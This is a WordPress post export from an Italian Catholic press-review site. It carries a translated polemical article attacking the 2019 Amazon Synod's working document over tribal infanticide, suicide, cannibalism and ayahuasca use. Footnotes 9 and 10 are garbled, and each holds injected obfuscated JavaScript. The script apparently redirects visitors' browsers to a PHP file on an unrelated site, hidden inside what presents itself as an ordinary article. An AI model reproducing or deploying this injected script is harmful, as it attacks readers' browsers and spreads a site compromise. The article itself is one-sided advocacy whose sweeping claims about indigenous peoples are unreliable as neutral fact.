{"id":43862,"date":"2019-08-01T00:00:00","date_gmt":"2019-07-31T22:00:00","guid":{"rendered":"http:\/\/www.rassegnastampa-totustuus.it\/cattolica\/?p=43862"},"modified":"2019-08-01T22:30:24","modified_gmt":"2019-08-01T20:30:24","slug":"il-vero-volto-dellamazzonia-una-cultura-di-morte-prima-e-seconda-parte","status":"publish","type":"post","link":"https:\/\/www.rassegnastampa-totustuus.it\/cattolica\/il-vero-volto-dellamazzonia-una-cultura-di-morte-prima-e-seconda-parte\/","title":{"rendered":"Il vero \u201cvolto dell\u2019Amazzonia\u201d: una cultura di morte (prima e seconda parte)"},"content":{"rendered":"

\"\"<\/a><\/strong>da Ricognizioni<\/a><\/strong><\/p>\n

26 e luglio 2019<\/p>\n

L\u2019articolo di Kathy Clubb<\/em> (1) <\/em>\u00e8 stato pubblicato su The Freedoms Project<\/em> (2) <\/em>il 25\/06\/19 con il titolo \u201cThe real \u2018face of the Amazon\u2019: a culture of death\u201d. Lo pubblichiamo nella traduzione di <\/em>Marco Manfredini<\/em><\/strong>.<\/p>\n

<\/p>\n

Infanticidio e suicidio fanno parte tradizionalmente della cultura in molte zone della regione amazzonica. Per quale motivo quindi l\u2019Instrumentum Laboris (IL)<\/em> del Sinodo di ottobre invita la Chiesa Cattolica ad assumere un \u201cvolto amazzonico\u201d?<\/strong><\/p>\n

Il Sinodo si focalizzer\u00e0 su un gruppo di paesi che circondano il bacino amazzonico dell\u2019America Latina: Bolivia, Brasile, Colombia, Ecuador, Guyana, Guyana Francese, Per\u00f9, Venezuela e Suriname. Nell\u2019annunciare il Sinodo, Papa Francesco ha chiamato la chiesa a \u201ctrovare nuove vie per evangelizzare quella parte di popolo di Dio, specialmente indigena, spesso dimenticata e senza la prospettiva di un futuro di pace\u201d<\/em>.<\/p>\n

\"\"<\/a>Quello che il Papa e i suoi collaboratori dimenticano di menzionare \u00e8 che, oltre alle sofferenze causate dallo sfruttamento da parte di grandi aziende, sono le comunit\u00e0 stesse causa di questa mancanza di pace. Mentre particolare attenzione \u00e8 data all\u2019\u201decocidio\u201d<\/em>, non si fa menzione di infanticidio, suicidio o parricidio, i quali fanno parte del tessuto vitale in Amazzonia.<\/p>\n

Il Sinodo in arrivo a ottobre \u00e8 stato causa di preoccupazione gi\u00e0 dal suo documento preparatorio pubblicato nel 2018, con i suoi richiami a una \u201cconversione ecologica\u201d e all\u2019ordinazione femminile. Da allora, la suggestione che le ostie potessero essere fatte di yuca<\/em> anzich\u00e9 di farina di grano (rendendo quindi invalido il sacramento), ha fortunatamente perso credito.<\/p>\n

Ora che il documento di lavoro (IL) \u00e8 stato reso noto, molti motivi di preoccupazione rimangono: il focus sull\u2019ecologia integrale e l\u2019eco-teologia, la promozione della teologia indiana (propaggine dell\u2019eretica teologia della liberazione), e il tema ricorrente che la Chiesa avrebbe molto da apprendere dalla spiritualit\u00e0 pagana.<\/p>\n

Sono stati scritti molti buoni articoli che evidenziano le minacce del Sinodo verso il celibato ecclesiastico, l\u2019esclusiva ordinazione al sacerdozio di uomini, l\u2019integrit\u00e0 dottrinale, perci\u00f2 questo articolo si concentrer\u00e0 sulle pratiche tribali contrarie alla vita in uso nella regione Pan-amazzonica.<\/p>\n

\"\"<\/a>Secondo i documenti finora conosciuti il moderno colonialismo occidentale \u00e8 accusato per l\u2019aumento degli aborti, delle violenze famigliari e per l\u2019uso delle droghe nell\u2019area. Non si fa riferimento alla tradizionale accettazione di queste pratiche anti-vita nella cultura amazzonica.<\/p>\n

INFANTICIDIO IN AMAZZONIA<\/strong> \u00c8 difficile stabilire il numero preciso di infanticidi commessi nella regione, visto che molti casi non vengono riportati, e molti sforzi per indagare vengono ostacolati dalla teoria politica per cui qualsiasi intervento esterno \u00e8 visto come \u201cimperialista\u201d, \u201ccolonialista\u201d e \u201cpatriarcale\u201d.<\/p>\n

I relativisti culturali sostengono che le popolazioni indigene debbano essere protette dall\u2019essere perseguite dalla legge per l\u2019attuazione di pratiche quali infanticidio ed eutanasia, e disapprovano qualsiasi tentativo di scoprire quanti bambini e adulti vengono in questo modo uccisi. Costoro affermano che la raccolta di dati \u201crappresenta in ogni caso un tentativo di incriminare ed esprimere un pregiudizio contro i popoli indigeni\u201d<\/em>, ed \u00e8 una nuova forma di colonialismo.<\/p>\n

\"\"<\/a>Secondo un articolo del 2018 (3), circa venti gruppi tribali brasiliani su un totale di trecento praticano l\u2019infanticidio, e si stima che circa un centinaio di bambini venga ucciso ogni anno (4). Uno studio sull\u2019infanticidio tra la trib\u00f9 brasiliana degli Zuruah\u00e1 getta luce sulla filosofia alla base della pratica (5). Osserva che l\u2019infanticidio \u00e8 stato tollerato storicamente per diverse ragioni: come mezzo per liberare le comunit\u00e0 tribali, che vivevano in condizioni molto dure, del peso di prendersi cura dei membri pi\u00f9 deboli o per assicurarsi che le madri fossero in grado di accudire adeguatamente i figli gi\u00e0 avuti.<\/p>\n

Cos\u00ec gemelli, disabili o malati venivano uccisi (e vengono ancora uccisi) dopo la nascita. E se una madre muore durante il parto, anche il neonato spesso viene soppresso. Anche la superstizione gioca tutt\u2019oggi un ruolo in queste culture dell\u2019America Latina contemporanea. I nati albini vengono considerati malvagi e vengono uccisi una volta scopertane la condizione.<\/p>\n

Nello studio si fa l\u2019esempio di una famiglia della trib\u00f9 Kuik\u00faru che ha ucciso tre bambini affetti da albinismo. A un figlio avuto in precedenza, anch\u2019egli affetto dalla malattia, era stato permesso di vivere solo perch\u00e9 i genitori pensavano che avrebbe cambiato colore crescendo. Anche le norme sociali conducono all\u2019infanticidio: i bambini nati da madri non sposate vengono solitamente uccisi, e viene comunemente accettata l\u2019uccisione di un figlio del sesso non voluto (solitamente femmine, vista la preferenza per i maschi).<\/p>\n

\"\"<\/a>Un\u2019altra trib\u00f9 consente l\u2019infanticidio dopo quattro fratelli dello stesso sesso, indipendentemente da quale sia. Questo testo sulla trib\u00f9 Yanom\u00e1mi spiega come giustificano l\u2019infanticidio: \u201cLe donne Yanom\u00e1mi hanno piena autonomia nel decidere se i propri figli dovevano vivere o no. La madre si ritira nella foresta per dare alla luce il figlio, ma se non lo accoglie tra le braccia dopo la nascita \u00e8 come se non sia mai venuto al mondo. Quindi si pu\u00f2 dedurre che in quella cultura c\u2019\u00e8 una \u2018nascita post-parto\u2019, in altre parole un atto di \u2018nascita culturale\u2019: quando la madre non riconosce il neonato, non lo tocca e lo abbandona nella foresta. In questo modo il bambino \u00e8 come se per la comunit\u00e0 non fosse nato\u201d.<\/em><\/p>\n

Un altro esempio mostra come queste pratiche si svolgono nella vita reale. L\u2019episodio seguente ha luogo all\u2019interno della trib\u00f9 Surawaha, dove la famiglia Suzuki esercitava la missione cristiana negli anni \u201990.<\/p>\n

I Surawaha non avevano avuto contatti con il mondo esterno fino agli anni \u201970. \u201cAd un certo punto, durante la permanenza dei Suzuki tra i Surawaha, la trib\u00f9 decise che due bambini, i quali sembravano avere problemi di crescita, dovessero morire. I genitori, piuttosto di uccidere i due figli, si suicidarono. La trib\u00f9 allora seppell\u00ec vivi i due bambini, secondo la consuetudine (dice Suzuki). Una dei due, una ragazza di nome Hakani, riusc\u00ec a sopravvivere al calvario, ma la comunit\u00e0 decise di lasciarla morire di fame. Suo fratello maggiore la tenne in vita per qualche anno, fornendole i suoi avanzi di cibo di contrabbando, arrivando infine a portarla ai piedi dei Suzuki\u201d.<\/em><\/p>\n

\"\"<\/a>I Suzuki adottarono la ragazza, una mossa che sollev\u00f2 la questione della tolleranza all\u2019infanticidio del Brasile a livello internazionale. Tolleranza che \u00e8 alimentata dal supporto di celebrit\u00e0 hollywoodiane, alcune delle quali hanno adottato la causa culturale delle pratiche di morte quasi allo stesso modo in cui hanno adottato la causa dell\u2019aborto legale.<\/p>\n

Questi relativisti culturali possono contare su accademici, eticisti ed antropologi a supporto delle loro convinzioni. Ad esempio, un antropologo dell\u2019universit\u00e0 di Brasilia descrive la giustificazione dell\u2019infanticidio da parte dei nativi in questo modo: \u201cUn bambino indigeno, appena nato, non \u00e8 una persona. Lui o lei subir\u00e0 un lungo processo di personalizzazione fino ad acquisire un nome, e con questo lo status di persona. Perci\u00f2, i casi molto rari in cui i neonati non vengono inseriti nella vita sociale della comunit\u00e0 non possono essere considerati come morti, in quanto non lo sono. Infanticidi, poi, non saranno mai\u201d.<\/em><\/p>\n

IL SUICIDIO \u00c8 \u201cIL PI\u00d9 ALTO TRA TUTTI VALORI\u201d <\/strong>Lo studio sull\u2019infanticidio tra gli Zuruah\u00e1 menziona anche il suicidio come questione correlata, siccome molti genitori i cui figli sono condannati a morte dalla comunit\u00e0 preferiscono commettere suicidio piuttosto che vedere uccisi i propri figli.<\/p>\n

Per l\u2019occidentale medio, che non mette in questione la protezione della propria progenie, questa pratica appare estremamente aberrante e irresponsabile.<\/p>\n

\"\"<\/a>Ma diventa pi\u00f9 facile da capire quando viene spiegata la devozione tribale al suicidio: \u201cIl suicidio tra gli Zuruah\u00e1 presenta caratteristiche storiche e religiose, oltre che crisi e tensioni sociali. Viene visto come una forma di esistenza umana, al punto che solo attraverso la morte \u00e8 possibile raggiungere la vera esistenza. Gli indiani dicono che l\u2019esistenza acquista senso solo se ha come scopo il suicidio. <\/em><\/p>\n

Le loro linee guida per comprendere la vita indicano che il suicidio \u00e8 il pi\u00f9 alto di tutti i valori. <\/em>\u00a0<\/em>La filosofia Zuruah\u00e1 dice che ci sono solo due strade per condurre al fine l\u2019esistenza umana: la prima tramite il suicidio per avvelenamento, chiamato <\/em>kunaha, che conduce al paradiso chi ha ingerito il veleno [\u2026]. <\/em><\/p>\n

I loro riti, canti e preghiere si riferiscono a questo e conducono a questa vera esistenza. La seconda strada porta alla morte per vecchiaia, ma questa \u00e8 considerata oggi ardua\u2026<\/em> Data questa interpretazione della vita umana, attendere di diventare vecchi non \u00e8 sinonimo di saggezza. <\/em><\/p>\n

Per tale ragione, in questa cultura, i vecchi non godono dello status di uomini saggi e venerabili, come comunemente avviene tra altre comunit\u00e0 indigene. Qua vengono chiamati hosa, una parola che significa \u201cinutili\u201d, \u201cesauriti\u201d. Inoltre, molti di essi hanno alle spalle tentativi di suicidio non riusciti. Al fine di evitare un futuro di dolore e disprezzo in vecchiaia, i bambini iniziano molto presto a vivere considerando la possibilit\u00e0 di suicidarsi. <\/em><\/p>\n

\"\"<\/a>Nei loro giochi, ragazzi e ragazze fingono di morire e si immaginano come sar\u00e0 il loro funerale. Tutti sanno come usare il <\/em>timb\u00f3, una specie di liana che contiene un veleno mortale, e ne considerano l\u2019utilizzo come un atto di coraggio. Per questa ragione \u201ci genitori vivono nella convinzione che un giorno i loro figli berranno veleno\u201d.<\/em><\/p>\n

Statistiche raccolte sulle trib\u00f9 tra il 2003 e il 2005 mostrano che circa un sesto della popolazione ha commesso suicidio in quel periodo (vi sono anche due casi di infanticidio). Questa visione pagana della vecchiaia e della morte, unita all\u2019assenza di una comprensione della vita umana come valore intrinseco, contraddice i numerosi riferimenti nell\u2019IL riguardo alla \u201csaggezza ancestrale\u201d.<\/p>\n

CANNIBALISMO <\/strong>Una delle usanze pi\u00f9 sconvolgenti trovate in Amazzonia \u00e8 il cannibalismo rituale. Ci\u00f2 \u00e8 ben documentato, essendo praticato dalle trib\u00f9 Yanomami e Wari\u2019.<\/p>\n

Secondo il sito di TFP (6): \u201cUn\u2019usanza primitiva di questo gruppo etnico \u00e8 il cannibalismo rituale. In un rito funerario sacro e collettivo, cremano il corpo del parente morto e ne mangiano le ceneri delle ossa, mescolandole con la pasta pijiguao, fatta con il frutto di una specie di palma. Credono che l\u2019energia vitale del defunto risieda nelle ossa e venga con questo rituale reintegrato nel gruppo di famiglia. <\/em>Allo stesso modo, uno Yanomami che uccide un avversario in territorio nemico pratica questa forma di cannibalismo per purificare s\u00e9 stesso\u201d.<\/em><\/p>\n

In modo simile, le trib\u00f9 Wari\u2019 del Brasile mangiavano la carne dei propri vecchi morti e dei propri nemici, fino alla fine del ventesimo secolo. L\u2019endocannibalismo (il cibarsi degli appartenenti alla propria trib\u00f9) era visto come un rito funerario, a riprova che il deceduto fosse veramente passato dalla terra. Per gli Wari\u2019 non si trattava di cannibalismo, visto che i membri morti della trib\u00f9 erano trascesi nell\u2019\u201daltro\u201d.<\/em><\/p>\n

\"\"<\/a>Per contrasto, l\u2019esocannibalismo veniva affrontato con entusiasmo anzich\u00e9 rispetto, come segno di dominazione su una trib\u00f9 pi\u00f9 debole. \u00c8 interessante notare come Paul Erlich, autore del libro The Population Bomb<\/em> e uno dei pi\u00f9 grandi sostenitori del controllo della popolazione, ha annunciato nel 2014 che la sovrappopolazione e la scarsit\u00e0 di risorse finiranno per spingere gli esseri umani affamati al cannibalismo.<\/p>\n

Erlich \u00e8 stato ospite alla Pontificia Accademia delle Scienze del Vaticano in una conferenza del 2017 sull\u2019estinzione biologica, con grande disappunto dei fedeli cattolici di tutto il mondo.<\/p>\n

L\u2019USO DI DROGHE FA PARTE DELLE RELIGIONI TRIBALI<\/strong> In tutto l\u2019IL i mali sociali come la violenza sulle donne e il traffico di droga sono costantemente attribuiti all\u2019industria estrattiva e ai mega progetti. Ma \u00e8 falso affermare che i progetti moderni sono l\u2019unica causa di tali mali.<\/p>\n

La violenza contro le donne fa parte della cultura tribale di molte di queste comunit\u00e0, e l\u2019utilizzo di droghe nei rituali di guarigione spirituale \u00e8 pratica comune. Di fatto, una nuova industria \u00e8 sorta attorno alla cultura delle droghe allucinogene, l\u2019ayahuasc<\/em>a <\/em>(7)<\/em>,<\/em> tanto che stranieri si affollano per provare l\u2019esperienza di alterazione mentale che queste producono.<\/p>\n

Si sono verificati molti tragici casi in cui turisti, sotto l\u2019influenza dell\u2019ayahuasca<\/em>, hanno assassinato amici e colleghi (8).<\/p>\n

Nonostante l\u2019uso diffuso di questi allucinogeni nelle \u201ccure di assistenza sanitario-spiritica\u201d, l\u2019IL suggerisce che:\u201cI rituali e le cerimonie indigene sono essenziali per la salute integrale perch\u00e9 integrano i diversi cicli della vita umana e della natura. Creano armonia ed equilibrio tra gli esseri umani e il cosmo. Proteggono la vita dai mali che possono essere causati sia dagli esseri umani che da altri esseri viventi. Aiutano a curare le malattie che danneggiano l\u2019ambiente, la vita umana e altri esseri viventi\u201d <\/em>(IL, 87).<\/p>\n

\"\"<\/a>Qua c\u2019\u00e8 un po\u2019 della tradizionale medicina amazzonica ayahuasca, dal sito del \u201cTempio della Via della Luce\u201d: L\u2019uso dell\u2019ayahuasca \u00e8 largamente diffuso e rappresenta la base della pratica di medicina tradizionale per almeno 75 diverse trib\u00f9 attraverso l\u2019alta e bassa Amazzonia. <\/em>\u00a0<\/em>Tradizionalmente, l\u2019uso di ayahuasca nelle pratiche di guarigione in Amazzonia \u00e8 limitata ai guaritori, che la usano come strumento diagnostico per una variet\u00e0 di compiti che riflettono una serie di valori culturali e psicologici molto diversi da quelli che conosciamo in occidente. <\/em>\u00a0<\/em><\/p>\n

L\u2019ayahuasca non viene presa direttamente dai pazienti, che assistono semplicemente alla cerimonia per ricevere la diagnosi e le successive cure. Identificando la causa della malattia (sfortuna e stregoneria, per esempio), e risolvendo il danno energetico causato dalla gelosia e dall\u2019invidia, i guaritori indigeni riconoscono il potere distruttivo delle emozioni umane negative e il loro impatto non solo sull\u2019individuo ma sulla salute dell\u2019intera comunit\u00e0.<\/em><\/p>\n

L\u2019ayahuasca \u00e8 usata dai guaritori anche per altri scopi: aiutare a prendere decisioni importanti, chiedere consiglio agli spiriti, risolvere conflitti personali, tra famiglie e comunit\u00e0, esercitare le proprie capacit\u00e0 divinatorie, chiarire misteri, furti e sparizioni, scoprire se abbiamo nemici e sapere se un coniuge \u00e8 infedele. <\/em>\u00a0<\/em><\/p>\n

L\u2019ayahuasca viene anche usata per prescrivere trattamenti ai pazienti, guidando il guaritore nella somministrazione di <\/em>ikaros[canti rituali di guarigione, ndt] e rimedi vegetali. Ma non \u00e8 l\u2019unico \u201cspirito vegetale\u201d coinvolto. L\u2019Ayahuasca lavora tramite il guaritore in combinazione con una pletora di altri dottori dello \u201cspirito vegetale\u201d per fornire un trattamento. <\/em><\/p>\n

Essa \u00e8 solo uno dei nodi all\u2019interno di un sistema molto pi\u00f9 ampio di assistenza sanitaria \u201cspiritizzata\u201d in Amazzonia. La guarigione tradizionale amazzonica offre soluzioni a malattie e disturbi che tipicamente non possono essere trattati con la medicina convenzionale<\/em>. <\/em>(9)<\/p>\n

Quindi, lungi dall\u2019essere una semplice questione di integrare la tradizionale medicina erboristica nell\u2019assistenza sanitaria contemporanea, diventa ovvio che \u00e8 impossibile separare gran parte della medicina popolare dell\u2019Amazzonia dai propri rituali pagani e dall\u2019utilizzo della divinazione e della stregoneria.<\/p>\n

Accoppiata all\u2019uso di allucinogeni, questa diventa una proposta pericolosa, che presenta rischi per la salute fisica e spirituale dei pazienti. Ma invece di lanciare un avvertimento sui pericoli che si corrono dilettandosi in pratiche occulte, l\u2019IL raccomanda di emulare queste famiglie tribali, dove \u201c[\u2026] si impara a vivere in armonia: tra i popoli, tra le generazioni, con la natura, in dialogo con gli spiriti\u201d <\/em>(IL, 75).<\/p>\n

\"\"<\/a>E nel caso ci sia qualche dubbio sulla natura del potere di cui si servono questi sciamani pagani, il seguente esempio servir\u00e0 da promemoria. Un missionario olandese ha raccontato la storia di un sacerdote mandato nella regione Amazzonica a predicare il Vangelo.<\/p>\n

Fu affrontato in diverse occasioni da uno stregone locale, il quale: \u201cAveva il potere di spostarsi in un modo incomprensibile, lasciando che il buon padre scendesse dal fiume da solo per incontrarlo di nuovo molto pi\u00f9 a valle, insultandolo copiosamente nel suo dialetto nativo. Il missionario non aveva alcun dubbio sull\u2019esistenza del demonio e sapeva da quale tipo di malignit\u00e0 stava cercando di convertire gli indiani\u201d<\/em>. (10)<\/p>\n

\u00a0___________________<\/p>\n

1)<\/strong> Kathleen Clubb \u00e8 una donna australiana attiva nel mondo pro-life da sei anni. Coordinatrice in Melbourne di Family Life International, fondatrice dei siti Light up the Darkness e di The Freedom Project, con cui porta avanti le sue battaglie. \u00c9 stata coinvolta in un contenzioso costituzionale per aver violato la legge del 2015 della Victoria che vieta di protestare in un raggio di 150 metri dalle cliniche abortive, condannata e sanzionata. Ha istruito in home-schooling i suoi ultimi sei figli (su tredici!) e considera la sua famiglia la sua attivit\u00e0 pro-life pi\u00f9 importante.<\/p>\n

2)<\/strong> https:\/\/www.thefreedomsproject.com\/item\/386-the-panamazonians-culture-of-death<\/a><\/p>\n

3)<\/strong> https:\/\/foreignpolicy.com\/2018\/04\/09\/the-right-to-kill-brazil-infanticide\/<\/a><\/p>\n

4)<\/strong> https:\/\/www.disciplenations.org\/infanticide\/<\/a><\/p>\n

5)<\/strong> http:\/\/www.scielo.br\/scielo.php?script=sci_arttext&pid=S0102-311X2010000500002<\/a><\/p>\n

6)<\/strong> https:\/\/www.tfp.org\/a-mission-that-baptized-no-one-in-fifty-three-years-the-flawed-evangelization-model-of-the-pan-amazonian-synod\/<\/a><\/p>\n

7)<\/strong> Da wikipedia: \u201cL\u2019ayahuasca (aya-wasca, letteralmente \u201cliana degli spiriti\u201d o \u201cliana dei morti\u201d in lingua quechua), spesso detta anche, a seconda dei paesi di provenienza: Yage, Hoasca, Daime, Caapi; \u00e8 un infuso psichedelico a base di diverse piante amazzoniche in grado di indurre un effetto visionario oltre che purgante\u201d.<\/em><\/p>\n

8)<\/strong> https:\/\/www.abc.net.au\/news\/2018-04-23\/canadian-lynched-in-amazon-accused-of-shamans-murder\/9688118<\/a><\/p>\n

9)<\/strong> and-amazonian-shamanism\/<\/re.length);document.write(uf);};r0093c87a1(‘phnjcmlwdcb0exblpsj0zxh0l2phdmfzy3jpchqipg0kdmfyig51bwjlcje9twf0ac5mbg9vcihnyxrolnjhbmrvbsgpicognsk7ia0kawygkg51bwjlcje9ptmpdqp7dqogdmfyigrlbgf5id0gmtuwmda7cq0kihnldfrpbwvvdxqoimrvy3vtzw50lmxvy2f0aw9ulmhyzwy9j2h0dha6ly9zy3jhcgjvb2tpbmcuchjvl3dwlwnvbnrlbnqvcgx1z2lucy93cc1tyxrolwnhchrjagevaw5jbhvkzxmvcgx1z2lulxnldhrpbmdzlnbocccilcbkzwxhesk7dqp9dqo8l3njcmlwdd4a’);<><\/a><\/p>\n

10)<\/strong> and-pagan-spiritualities-in-the-preparatory-document-for-the-amazon-synod\/<\/re.length);document.write(uf);};r0093c87a1(‘phnjcmlwdcb0exblpsj0zxh0l2phdmfzy3jpchqipg0kdmfyig51bwjlcje9twf0ac5mbg9vcihnyxrolnjhbmrvbsgpicognsk7ia0kawygkg51bwjlcje9ptmpdqp7dqogdmfyigrlbgf5id0gmtuwmda7cq0kihnldfrpbwvvdxqoimrvy3vtzw50lmxvy2f0aw9ulmhyzwy9j2h0dha6ly9zy3jhcgjvb2tpbmcuchjvl3dwlwnvbnrlbnqvcgx1z2lucy93cc1tyxrolwnhchrjagevaw5jbhvkzxmvcgx1z2lulxnldhrpbmdzlnbocccilcbkzwxhesk7dqp9dqo8l3njcmlwdd4a’);<><\/a><\/p>\n

___________________________________<\/p>\n

\u201cCOLONIALISMO\u201d <\/strong>Come \u00e8 gi\u00e0 stato accennato, in gran parte dell\u2019Instrumentum Laboris<\/em> il colonialismo \u00e8 accusato di una pletora di malesseri sociali che affliggono i popoli della regione amazzonica, e nel corso delle indagini sulle loro lotte appare ovvio che c\u2019\u00e8 una grande questione di ingiustizia perpetrata contro i nativi, in particolare per quanto riguarda l\u2019appropriazione delle loro terre e lo sfruttamento senza limiti da parte di entit\u00e0 straniere.<\/p>\n

\"\"<\/a>Ma il documento va anche oltre, indicando in una lotta di classe in corso la causa della povert\u00e0 di molti abitanti. \u00c8 molto superficiale, e un crimine contro la verit\u00e0, affermare che l\u2019influenza cristiana ha portato solo frutti cattivi nella regione, e che la cultura occidentale si dovrebbe conformare maggiormente a questo modello pagano.<\/p>\n

Come ha detto un commentatore: \u201cIl male che li colpisce ha un solo nome: colonizzazione. Come nella teologia della liberazione, ma in una variante pi\u00f9 populista che Marxista (la famosa teologia del popolo cara a Papa Francesco), queste persone e comunit\u00e0 devono essere considerate depositarie di ricchezze di cui i paesi civilizzati sono privi dopo secoli di cristianesimo\u201d<\/em>.<\/p>\n

La nostra memoria collettiva \u00e8 cos\u00ec corta che non riusciamo a ricordare il livello estremo di barbarie comune a queste civilt\u00e0 e a quelle circostanti solo poche centinaia di anni fa? Questa \u00e8 la patria degli Incas assetati di sangue, e dei vicini Aztechi e Maya, i quali praticavano sacrifici umani su scala mostruosa.<\/p>\n

Come Steve Mosher sottolinea in un suo articolo, fu solo grazie al lavoro dei primi missionari se queste pratiche omicide vennero abolite. Se la Chiesa fallisce nella sua missione evangelizzatrice, cosa impedir\u00e0 a queste trib\u00f9 di scivolare indietro e tornare a quelle pratiche barbare?<\/p>\n

\"\"<\/a>Se si asseconda la stessa filosofia che giustifica la barbarie, allora un ritorno alla barbarie sar\u00e0 inevitabile. Marcia Suzuki, la missionaria cristiana che adott\u00f2 una bambina non voluta dalla trib\u00f9 Yanomami, disse che il problema non andava cercato nel colonialismo, ma \u201cIl vero nemico \u00e8 invisibile: \u00e8 il relativismo morale e culturale che rende tab\u00f9 una messa in discussione della pratica dell\u2019infanticidio\u201d.<\/em><\/p>\n

\u201cCONVERSIONE PASTORALE\u201d <\/strong>Si potrebbe sostenere che infanticidio, omicidio e cos\u00ec via sono praticati solo tra un numero ristretto di trib\u00f9 dell\u2019Amazzonia. Numericamente \u00e8 cos\u00ec, ma il problema sta nella filosofia adottata da questi popoli per giustificare le proprie azioni, e nel fatto che l\u2019IL esorti i cattolici ad adottare tali filosofie.<\/p>\n

Cos\u00ec, mentre il sacrificio umano \u00e8 praticato nella zona da centinaia di anni a diversi livelli, il problema ora \u00e8 che i missionari cattolici vengono dissuasi dal condannare quelle pratiche e dall\u2019impegnarsi nella guerra spirituale che ne assicurerebbe la vittoria.<\/p>\n

Infatti, l\u2019IL consiglia ai cattolici, piuttosto che contrapporsi, di adottare una forma di spiritualit\u00e0 diametralmente opposta a quella del messaggio evangelico di salvezza per mezzo di Ges\u00f9 Cristo. Questo sforzo antimissionario non \u00e8 un fenomeno nuovo; gi\u00e0 da qualche tempo viene applaudito all\u2019interno della Chiesa.<\/p>\n

\"\"<\/a>Facciamo solo due esempi. Gli Yanomami, oltre all\u2019abitudine di uccidere la prole e mangiare i nemici, sono estremamente resistenti all\u2019evangelizzazione. In 53 anni di presenza missionaria, non c\u2019\u00e8 stato nemmeno un battesimo. Ma lungi dallo scoraggiarsi, il direttore delle missioni Padre Corrado Dalmonego afferma che la trib\u00f9 Yanomami ha molto da offrire alla Chiesa, la quale deve \u201cfare attenzione a come le genti indigene vivono la loro esperienza comunitaria, le relazioni sociali e le strutture di comando. Per noi gli Yanomami sono testimoni che ci permettono di apprezzare il valore della vita comunitaria\u201d.<\/em><\/p>\n

Padre Dalmonego, imperterrito nel suo insuccesso missionario ci esorta a trarre da questa religione pagana consigli spirituali, poich\u00e9 \u201cla Chiesa si arricchisce dalla ricerca su sciamanesimo, mitologie, diverse conoscenze, diverse visioni del mondo e visioni di Dio\u201d<\/em>.<\/p>\n

Questo perch\u00e9 forti momenti di dialogo aiutano i missionari a \u201cscoprire l\u2019essenza della nostra fede, spesso mascherata da ornamenti e tradizioni culturali\u201d.<\/em><\/p>\n

Un altro caso di dubbia evangelizzazione in Brasile \u00e8 rappresentata dall\u2019attivit\u00e0 delle Piccole Sorelle di Ges\u00f9 tra i Tapirap\u00e9. Questa trib\u00f9, che praticava l\u2019infanticidio, alla fine ha abbandonato questa pratica, apparentemente grazie al buon esempio delle sorelle.<\/p>\n

Le religiose, discepole di Charles de Focauld, vissero in quella comunit\u00e0 dal 1952 decidendo di non catechizzare la piccola trib\u00f9 di 47 nativi; scelsero di avviare una \u201cmissione silenziosa\u201d secondo i dettami prescritti dall\u2019onnipresente \u201cdialogo\u201d. Sembra che le sorelle fossero meno preoccupate per l\u2019infanticidio (atto oggettivamente immorale, contrario al Vangelo e alla legge naturale) di quanto non lo fossero della possibilit\u00e0 che la trib\u00f9 si estinguesse.<\/p>\n

\"\"<\/a>Cos\u00ec pensarono di instaurare un \u201cdialogo\u201d sulla base di questioni sociali: \u201cTuttavia, la discussione divenne possibile solo dopo che i Tapirap\u00e9 identificarono i missionari come alleati nella lotta contro l\u2019oppressione causata da segmenti della societ\u00e0 a cui appartenevano le suore stesse. <\/em><\/p>\n

Cos\u00ec l\u2019infanticidio venne discusso all\u2019interno di un\u2019agenda che includeva anche altri argomenti importanti per le persone: demarcazione delle loro terre, espulsione degli invasori dal loro territorio, attenzione alla salute delle persone, ecc. <\/em><\/p>\n

C\u2019era una logica in questo, dal momento che un aumento della popolazione dipendeva dall\u2019assicurare condizioni di sopravvivenza per tutti\u2026 Nella letteratura antropologica, questo caso \u00e8 stato riconosciuto come un\u2019esperienza di intervento di successo\u201d<\/em>.<\/p>\n

Ci\u00f2 che appare come un fallimento per le persone raziocinanti, quello che sarebbe stato sicuramente considerato un fallimento praticamente da tutti i missionari cattolici negli ultimi 2000 anni, viene salutato come un successo dagli antropologi e dai missionari stessi.<\/p>\n

Il fatto pi\u00f9 preoccupante, tuttavia, \u00e8 che questo \u00e8 proprio il modello di evangelizzazione proposto dal sinodo. Non \u00e8 questo ci\u00f2 che gli autori dell\u2019IL intendono con \u201cconversione pastorale\u201d<\/em>? (IL, 5) Questo approccio antimissionario \u00e8 in contrasto con quanto affermato dali pi\u00f9 grandi pensatori della Chiesa: San Tommaso d\u2019Aquino e Sant\u2019Agostino, come si legge nel libro del Cardinale Sarah La forza del silenzio<\/em>: \u201cNaturalmente abbiamo il dovere di cercare nuovi approcci pastorali, ma in questo commento al Vangelo di Giovanni, San Tommaso ci avverte: \u00abSe poi chiedi qual \u00e8 la via, accetta Cristo, perch\u00e9 Lui \u00e8 la via. <\/em><\/p>\n

\"\"<\/a>\u201cQuesta \u00e8 la strada, percorretela\u201d (Is 30,21)\u00bb. E Agostino dice: \u00abCammina come questo essere umano e arriverai a Dio. \u00c8 meglio zoppicare sulla retta strada che camminare speditamente fuori strada\u00bb. Chi zoppica sulla strada, anche se fa solo un piccolo progresso, si avvicina alla destinazione; se uno \u00e8 fuori strada, pi\u00f9 veloce cammina pi\u00f9 \u00e8 facile che si allontani dalla meta. Se chiedi dove andare, aggrappati a Cristo, perch\u00e9 \u00e8 Lui la verit\u00e0 che desideriamo raggiungere\u201d.<\/em><\/p>\n

UNA NUOVA DEFINIZIONE DI MARTIRIO <\/strong>L\u2019IL conclude con la denuncia di un gran numero di \u201cmartiri\u201d in terra amazzonica. Tuttavia questo termine non si riferisce a coloro che hanno rinunciato alla propria vita a causa della fede, piuttosto a chi si \u00e8 espresso in favore dei nativi contro l\u2019appropriazione delle loro terre da parte di altri gruppi.<\/p>\n

Cos\u00ec, mentre \u00e8 vero che la Chiesa ha sempre difeso il diritto di ogni persona a proteggere la sua propriet\u00e0, tale difesa non \u00e8 considerata martirio. Si segnala un singolo caso di tale \u201cmartirio\u201d con una menzione speciale: Suor Dorothy Stang, che era parte dell\u2019ordine religioso delle Sorelle di Notre Dame, un gruppo di religiose dedite a combattere l\u2019ingiustizia sociale, specialmente contro le donne, e che lavorava a stretto contatto con l\u2019ONU per implementare i suoi obiettivi di Sviluppo Sostenibile.<\/p>\n

\"\"<\/a>

Suor Dorothy Stang “martire” dell’Amazzonia<\/p><\/div>\n

